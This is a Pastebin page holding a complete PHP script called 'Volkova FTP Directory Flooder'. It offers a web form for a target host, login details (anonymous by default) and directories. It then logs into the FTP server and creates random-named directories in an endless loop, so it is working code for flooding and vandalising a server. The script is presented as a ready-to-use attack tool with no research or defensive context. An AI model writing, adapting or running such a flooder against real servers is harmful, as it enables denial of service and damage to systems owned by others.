Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /*
- * +--------------------------------------------------------------+
- * | Volkova FTP Directory Flooder |
- * +--------------------------------------------------------------+
- * | |
- * | Author: Ryan |
- * | Version: 0.02 |
- * | |
- * | |
- * | |
- * +--------------------------------------------------------------+
- */
- error_reporting(0);
- class flood {
- function genRandom() {
- $length = rand(1, 45);
- $validCharacters = "abcdefghijklmnopqrstuxyvwz£$%^&()-_+={}[];@'#~,.`¬ABCDEFGHIJKLMNOPQRSTUXYVWZ0123456789";
- $validCharNumber = strlen($validCharacters);
- $result = "";
- for ($i = 0; $i < $length; $i++) {
- $index = mt_rand(0, $validCharNumber - 1);
- $result .= $validCharacters[$index];
- }
- return $result;
- }
- function foo() {
- if ( $_POST ) {
- return $this->candf();
- } else {
- print <<<FORM
- <form action="{$_SERVER['PHP_SELF']}" method="post">
- <label for="host">Host:</label><br />
- <input name="host" id="host" type="text" maxlength="150" />
- <div class="clear"></div>
- Leave Username & Password blank for anonymous login. <br />
- <label for="username">Username:</label><br />
- <input name="username" id="username" type="text" maxlength="150" />
- <div class="clear"></div>
- <label for="password">Password:</label><br />
- <input name="password" id="password" type="text" maxlength="150" />
- <div class="clear"></div>
- <input type="checkbox" name="rootdir" value="1"> Root Directory<br>
- <div class="clear"></div>
- <label for="directory">Directories to flood (Seperated by commas):</label><br />
- <input name="dir" id="dir" type="text" maxlength="150" />
- <div class="clear"></div>
- <input type="submit" value="Go!" />
- </form>
- FORM;
- }
- }
- function candf() {
- $host = $_POST['host'];
- if ( $_POST['username'] ) {
- $user = $_POST['username'];
- } else {
- $user = 'anonymous';
- }
- if ( $_POST['password'] ) {
- $pass = $_POST['password'];
- } else {
- $pass = 'anonymous';
- }
- $conn = ftp_connect("$host") or die("Could not connect to host");
- ftp_login($conn,$user,$pass) or die("Could not login");
- while (true) {
- $rand = $this->genRandom();
- $string = $_POST['dir'];
- $string = str_replace(' ', '', $string);
- $directories = explode(',', $string);
- if ( isset($_POST['rootdir']) ) {
- echo ftp_mkdir($conn,"/$rand");
- }
- foreach($directories as $value) {
- echo ftp_mkdir($conn,"$value/$rand");
- }
- }
- ftp_close($conn);
- }
- }
- $flood = new flood();
- $flood->foo();
- ?>
Advertisement
Add Comment
Please, Sign In to add comment